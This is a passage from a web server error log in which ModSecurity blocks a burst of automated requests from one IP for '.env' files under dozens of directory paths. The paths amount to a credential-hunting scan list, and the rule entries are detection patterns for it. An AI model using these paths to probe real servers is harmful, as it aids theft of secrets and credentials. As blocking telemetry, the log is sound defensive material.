&quot;aZ6DB4v6AM5Bs3q_JQDYrQAAAAc&quot;]
[Wed Feb 25 06:05:11.963162 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/images/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYrQAAAAc&quot;]
[Wed Feb 25 06:05:11.963312 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/images/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYrQAAAAc&quot;]
[Wed Feb 25 06:05:12.009436 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /img/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/img/.env&quot;] [unique_id &quot;aZ6DCIv6AM5Bs3q_JQDYrgAAAAc&quot;]
[Wed Feb 25 06:05:12.009691 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/img/.env&quot;] [unique_id &quot;aZ6DCIv6AM5Bs3q_JQDYrgAAAAc&quot;]
[Wed Feb 25 06:05:12.009865 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/img/.env&quot;] [unique_id &quot;aZ6DCIv6AM5Bs3q_JQDYrgAAAAc&quot;]
[Wed Feb 25 06:05:12.051312 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /first-network/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/first-network/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDIgAAAAU&quot;]
[Wed Feb 25 06:05:12.051570 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/first-network/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDIgAAAAU&quot;]
[Wed Feb 25 06:05:12.051779 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/first-network/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDIgAAAAU&quot;]
[Wed Feb 25 06:05:12.109973 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /first_config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FIRST_CONFIG/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDIwAAAAU&quot;]
[Wed Feb 25 06:05:12.110262 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FIRST_CONFIG/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDIwAAAAU&quot;]
[Wed Feb 25 06:05:12.110544 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FIRST_CONFIG/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDIwAAAAU&quot;]
[Wed Feb 25 06:05:12.150487 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fisdom/fisdom/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fisdom/fisdom/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDJAAAAAU&quot;]
[Wed Feb 25 06:05:12.150747 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fisdom/fisdom/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDJAAAAAU&quot;]
[Wed Feb 25 06:05:12.150904 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fisdom/fisdom/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDJAAAAAU&quot;]
[Wed Feb 25 06:05:12.180205 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fixtures/blocks/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/blocks/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDJQAAAAU&quot;]
[Wed Feb 25 06:05:12.180437 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/blocks/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDJQAAAAU&quot;]
[Wed Feb 25 06:05:12.180610 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/blocks/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDJQAAAAU&quot;]
[Wed Feb 25 06:05:12.269320 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fixtures/fiber-debugger/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/fiber-debugger/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDJgAAAAU&quot;]
[Wed Feb 25 06:05:12.269578 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/fiber-debugger/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDJgAAAAU&quot;]
[Wed Feb 25 06:05:12.269752 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/fiber-debugger/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDJgAAAAU&quot;]
[Wed Feb 25 06:05:12.335653 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /includes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aZ6DCIv6AM5Bs3q_JQDYsQAAAAc&quot;]
[Wed Feb 25 06:05:12.335939 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aZ6DCIv6AM5Bs3q_JQDYsQAAAAc&quot;]
[Wed Feb 25 06:05:12.336162 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aZ6DCIv6AM5Bs3q_JQDYsQAAAAc&quot;]
[Wed Feb 25 06:05:12.370723 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fixtures/flight/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/flight/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDJwAAAAU&quot;]
[Wed Feb 25 06:05:12.371003 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/flight/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDJwAAAAU&quot;]
[Wed Feb 25 06:05:12.371182 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/flight/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDJwAAAAU&quot;]
[Wed Feb 25 06:05:12.394923 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fixtures/kitchensink/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/kitchensink/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDKAAAAAU&quot;]
[Wed Feb 25 06:05:12.395149 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/kitchensink/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDKAAAAAU&quot;]
[Wed Feb 25 06:05:12.395310 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/kitchensink/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDKAAAAAU&quot;]
[Wed Feb 25 06:05:12.463088 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /flask/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDKQAAAAU&quot;]
[Wed Feb 25 06:05:12.463353 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDKQAAAAU&quot;]
[Wed Feb 25 06:05:12.463523 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDKQAAAAU&quot;]
[Wed Feb 25 06:05:12.568185 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /flask_test_uploads/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask_test_uploads/.env&quot;] [unique_id &quot;aZ6DCOTWwZsZM3_RktVDKgAAAAU&quot;]
